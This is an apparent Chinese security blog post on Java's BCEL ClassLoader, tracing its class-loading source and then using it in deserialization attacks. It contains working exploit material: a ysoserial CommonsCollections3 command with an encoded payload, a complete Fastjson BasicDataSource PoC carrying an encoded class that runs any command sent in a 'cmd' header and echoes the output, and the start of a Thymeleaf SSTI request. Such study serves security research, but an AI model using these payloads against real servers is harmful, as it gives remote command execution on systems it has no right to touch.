Java安全之BCEL ClassLoader

目录

• Java安全之BCEL ClassLoader
  • 写在前面
  • About BCEL
  • 调试分析
  • 食用姿势
    • Fuzz反序列化Gadget
    • Fastjson BCEL Payload
    • Thymeleaf SSTI Payload

Java安全之BCEL ClassLoader

写在前面

BCEL平常在测试反序列化的时候也经常会用到，比如延时测Gadget以及在某些场景下执行命令不是那么顺手的情况下选择BCEL去打内存马，就像Fastjson和Thymeleaf SSTI这种。以前也只是用到这个BCEL但是没有仔细学习过，下面简单学习记录下BCEL。

About BCEL

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。

同时在Tomcat中也会存在相关的依赖

tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

而在rt.jar!/com/sun/org/apache/bcel/internal/util/包下，有Classloader这么一个类，可以实现加载字节码并初始化一个类的功能，该类也是个Classloader（继承了原生的Classloader类）重写了loadClass()方法，源码如下：

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

首先会判断类名是否以$$BCEL$$开头，之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

调试分析

先来看下简单的使用，在同一包下，准备一个恶意类

package MemoryShell.BCEL;

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

准备一个BCEL的demo,运行即可。

package MemoryShell.BCEL;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELDemo {
    public static void main(String[] args) throws Exception {

         JavaClass cls = Repository.lookupClass(calc.class);
         String code = Utility.encode(cls.getBytes(), true);
         System.out.println(code);

         new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

下面来调试一下，直接跟到loadClass()方法里，首先是去调用createClass()方法

在createClass()中,通过subString()截取$$BCEL$$后的字符串，并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流，当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析，并生成JavaClass对象

createClass源码如下：

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));

    return clazz;
  }

Utility.decode()源码：

 /** Decode a string back to a byte array.
   *
   * @param bytes the byte array to convert
   * @param uncompress use gzip to uncompress the stream of bytes
   */
  public static byte[] decode(String s, boolean uncompress) throws IOException {
    char[] chars = s.toCharArray();

    CharArrayReader car = new CharArrayReader(chars);
    JavaReader      jr  = new JavaReader(car);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();

    int ch;

    while((ch = jr.read()) >= 0) {
      bos.write(ch);
    }

    bos.close();
    car.close();
    jr.close();

    byte[] bytes = bos.toByteArray();

    if(uncompress) {
      GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));

      byte[] tmp   = new byte[bytes.length * 3]; // Rough estimate
      int    count = 0;
      int    b;

      while((b = gis.read()) >= 0)
        tmp[count++] = (byte)b;

      bytes = new byte[count];
      System.arraycopy(tmp, 0, bytes, 0, count);
    }

    return bytes;
  }

之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载

之后就是在newInstance()时初始化触发静态代码块执行

食用姿势

Fuzz反序列化Gadget

以测试CC3为例，使用c0ny1师傅的ysoserial-for-woodpecker项目，先准备一个可以延时的类

package MemoryShell.BCEL;

public class sleep {
    static {
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

yso

/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java -jar ysoserial-for-woodpecker-0.5.0.jar -g CommonsCollections3 -a bcel:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMK$c3$40$Q$7d$db$sM$h$a3$adUk$fd$fe$b8$a8$3d$Y$f0$aaxP$U$aa$a9$kZz$U$b6$e9b$a3i$S$d6T$f4$Xy$eeE$c5$83$3f$c0$l$r$ce$aeU$R$c4$81$9da$de$ec$bc$f7X$f6$ed$fd$e5$V$c0$O$d6m$e41kB$c7F$c9F$Vs$W$e6m$98X$b0$b0ha$89$n$b7$XDA$ba$cf$90$dd$dcj3$Y$87qW0$U$bd$m$Sg$83$7eG$c8$W$ef$84$84$94$bd$d8$e7a$9b$cb$40$f5$p$d0H$7b$c1$NC$d5k$88$7e$y$ef$9b$3d$R$86$ee$c1$e1$91$e7$de$84B$q$bb$M$f9$3d$3f$i$J0ZX$f5$ae$f8$zwC$k$5d$ba$f5$u$VR$O$92Tt$8f$ee$7c$91$a4A$i$d1$c6x3$e5$feu$83$tZ$83$ec2$d8$cdx$m$7dq$i$uM$5bSo$x$k$H$F$d8$W$96$j$ac$60$95a$f9$7fn$Hk$b0$Z$w$7f$7be$u$fd$ac$9fw$ae$84$9f$fe$82Z$3d$vx$97$c1$i$dd66O$d4$7b$V$T$ZD$a9$b6$dc$92$dc$X$a4a$d1$a3$ab$c8$80$v$7f$94$c7$a8s$a92$aaf$ed$Jl$a8$c7$O$e5$9c$G$b3$Y$a7$ec$7c$5e$c0$E$8aT$f3$u$7d$__h2$a08$8d$cc3$8c$H$e4Ok$8f$c8$N5$98$p$V$93$u$U$5d$F$a6F$UV$m$t$ea$DLP$fe$a2$b7a$60$Se$ea$a6$e8X$c8$d4$zL$h4$98$d1$8e$w$l$84$cfe$82$3b$C$A$A

当然也可以用c0ny1师傅提到的通过class去Fuzz Gadget，这个也被集成到了他最新版本的yso中（吹爆）

Fastjson BCEL Payload

这个也是老生常谈的东西了，这里就简单记录下自己在复现时遇到的一点小bug。

PoC

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

回显

Content-Type: application/json
cmd: whoami
Content-Length: 3327

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
        }
    }: "x"
}

测试的时候抛出了异常

打个断点，异常出在createDriver方法，我们跟进去看下，顺便看一下这里是如何去利用BCEL Classloader的

static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {
        Driver driverToUse = basicDataSource.getDriver();
        String driverClassName = basicDataSource.getDriverClassName();
        ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();
        String url = basicDataSource.getUrl();
        if (driverToUse == null) {
            Class<?> driverFromCCL = null;
            String message;
            if (driverClassName != null) {
                try {
                    try {
                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
                        }
                    } catch (ClassNotFoundException var8) {
                        driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
                    }
                } catch (Exception var9) {
                    message = "Cannot load JDBC driver class '" + driverClassName + "'";
                    basicDataSource.log(message, var9);
                    throw new SQLException(message, var9);
                }
            }

            try {
                if (driverFromCCL == null) {
                    driverToUse = DriverManager.getDriver(url);
                } else {
                    driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();
                    if (!driverToUse.acceptsURL(url)) {
                        throw new SQLException("No suitable driver", "08001");
                    }
                }
            } catch (Exception var10) {
                message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
                basicDataSource.log(message, var10);
                throw new SQLException(message, var10);
            }
        }

        return driverToUse;
    }
}

最终会走到Class.forName(driverClassName, true, driverClassLoader); ，这个点在C3P0有提到过，当这里设置为true时，如果没有初始化过目标类，则会将其初始化。而继续单步调试时就跟不进去了，不过可以看到已经抛出了异常。这里抛出的是没有找到Spring中RequestContextHolder类的异常，因为测试环境是没有用到Spring的。这里猜测可能是safe6sec师傅这个回显的poc是Spring下的回显。

也可以把BCEL字段拿出来，decode一下还原成class文件，看一看代码

还原代码如下：

public class BCELDemo {
    public static void main(String[] args) throws Exception {
        byte[] bytes = BCELDecode(FJ_BCEL_ECHO_1_2_24);
        getFileByByte(bytes,"aa.class", "/test");
    }

    public static byte[] BCELDecode(String BCELcode) throws IOException {
        int    index     = BCELcode.indexOf("$$BCEL$$");
        String real_name = BCELcode.substring(index + 8);
        return Utility.decode(real_name, true);
    }

    public static void getFileByByte (byte[] bytes, String fileName, String filePath){
        BufferedOutputStream bos = null;
        FileOutputStream fos = null;
        File file = null;

        try {
            file = new File(filePath + "/" + fileName);
            fos = new FileOutputStream(file);
            bos = new BufferedOutputStream(fos);
            bos.write(bytes);

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (bos != null){
                try {
                    bos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (fos != null){
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

反编译class得到代码如下：

package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    public SpringEcho() {
    }

    static {
        try {
            Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method var1 = var0.getMethod("getRequestAttributes");
            Object var2 = var1.invoke((Object)null);
            var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            var1 = var0.getMethod("getResponse");
            Method var3 = var0.getMethod("getRequest");
            Object var4 = var1.invoke(var2);
            Object var5 = var3.invoke(var2);
            Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            var7.setAccessible(true);
            var6.setAccessible(true);
            Object var8 = var6.invoke(var4);
            String var9 = (String)var7.invoke(var5, "cmd");
            String[] var10 = new String[3];
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                var10[0] = "cmd";
                var10[1] = "/c";
            } else {
                var10[0] = "/bin/sh";
                var10[1] = "-c";
            }

            var10[2] = var9;
            var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
            var8.getClass().getDeclaredMethod("flush").invoke(var8);
            var8.getClass().getDeclaredMethod("close").invoke(var8);
        } catch (Exception var11) {
        }

    }
}

所以如果环境没有Spring时换成TomcatEcho的payload丢进去就可以了

Thymeleaf SSTI Payload

这个场景如果可以用BCEL就会很方便，比如可以直接去打内存马、reg等进去。

参考的turn1tup师傅文章

poc: Mac Calc

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010

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